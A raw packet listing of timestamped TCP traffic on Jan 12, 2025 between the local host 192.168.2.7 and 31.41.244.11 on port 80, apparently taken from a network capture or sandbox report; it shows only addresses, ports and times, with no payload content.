Jan 12, 2025 17:39:08.966483116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966501951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966516018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966527939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966531038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966531038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966541052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966552973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966563940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966586113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966586113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966619015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966648102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966659069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966670990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966681957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.966702938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966702938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.966784954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967128038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967139959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967163086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967173100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967185974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967185974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967201948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967207909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967215061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967238903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967238903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967257977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967278004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967278004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967288971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967320919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967329025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967331886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967365026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967395067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967406988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967417955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967433929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967433929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967463017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967463017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967761040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967772007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967782974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967807055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967824936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967840910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967854023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967896938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967902899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967902899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967909098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.967946053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.967946053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968082905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968105078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968116045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968147039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968147039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968153954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968189001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968189001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968226910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968240976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968251944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968272924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968297005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968312025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968322992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968333960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968346119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968369961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968369961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968389034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968400002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968411922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968420982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968420982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968424082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968441010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968475103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968509912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968509912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968585968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968595982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968605995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968616962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968627930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968640089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968647957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968647957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968673944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968692064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968732119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.968961954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968974113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.968985081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969013929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969038963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969052076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969062090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969063997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969075918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969089031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969111919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969115973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969115973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969136000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969136000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969149113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969161034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969186068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969186068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969198942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969211102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969243050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969243050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969249010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969259977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969294071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969294071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969403028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969429016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969444990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969455957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969480038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969491959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969501019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969506979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969527006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969527960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969528913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969547033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969634056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969645977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969657898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969667912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969680071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969702005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969715118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.969748974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969748974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.969798088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020539999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020566940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020580053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020591021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020603895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020615101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020631075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020698071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020704985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020716906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020728111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020730019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020741940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020754099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020762920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020803928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020803928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020836115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020848989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020860910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.020899057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020899057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.020992041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021003008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021014929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021028042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021039963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021053076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021064043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021064043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021064043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021076918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021089077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021095037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021100044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021111965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021125078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021125078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021138906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021150112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021167040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021181107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021188021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021188021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021235943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021235943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.021259069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.021337986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.052793980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.052808046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.052819967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.052938938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.052964926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.052984953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053003073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053014994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053023100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053028107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053040028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053057909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053057909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053060055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053075075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053087950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053097963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053097963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053098917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053111076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053147078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053169012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053236961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053247929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053289890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053317070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053323030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053330898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053342104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053374052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053381920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053385019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053396940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053452969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053452969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053459883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053479910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053520918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053520918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053627014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053643942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053658009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053668976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053673029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053679943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053692102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053692102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053704023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053725004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053931952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053950071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053961992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053972006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.053975105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.053983927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054025888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054025888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054045916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054053068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054056883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054064035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054097891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054235935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054256916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054269075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054301023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054330111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054332972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054342985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054362059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054373026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054374933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054416895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054475069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054478884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054491043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054502964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054533958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054543972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054543972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054546118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054559946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054570913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054601908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054601908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054627895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054713011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054723978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054738045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054754019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054764986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054766893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054780960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054781914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054801941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054807901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054821014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.054858923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.054881096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055035114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055078030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055084944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055147886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055160046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055171967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055181026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055181026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055190086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055196047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055202007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055212975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055233002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055233002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055253983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055268049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055277109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055335045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055335045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055362940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055375099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055386066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055422068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055422068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055444002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055901051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055922031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055938959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055949926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055960894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055969000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055969000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055980921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.055984974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.055995941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056009054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056015968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056020021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056031942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056041956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056052923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056063890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056071043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056071043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056076050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056087017 CET	80	49975	31.41.244.11	192.168.2.7
